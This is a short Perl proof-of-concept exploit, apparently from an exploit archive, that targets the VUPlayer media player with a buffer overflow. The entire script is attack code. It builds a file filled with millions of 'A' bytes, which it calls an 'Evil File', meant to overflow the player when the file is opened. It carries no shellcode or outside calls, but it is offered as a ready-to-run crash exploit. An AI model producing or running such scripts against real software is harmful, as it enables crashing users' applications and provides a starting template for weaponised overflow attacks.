#!/usr/bin/perl system("color 3"); if (@ARGV != 1) { &help; exit(); } sub help(){ print "[X] Usage : ./exploit.pl filename \n"; } { $file = $ARGV[0]; } print "\n [X]*******************************************\n"; print " [X] VUPLAYER BufferOver flow POC *\n"; print " [X] Coded By AlpHaNiX *\n"; print " [X] From Null Area *\n"; print " [X]*******************************************\n\n"; print "[+] Exploiting.....\n" ; my $buff="\x41\x41\x41\x41" x 1000000 ; print "[+] Creating Evil File" ; open($FILE, ">>$file") or die "Cannot open $file"; print $FILE $buff; close($FILE); print "\n[+] Please wait while creating $file"; print "\n[+] $file has been created";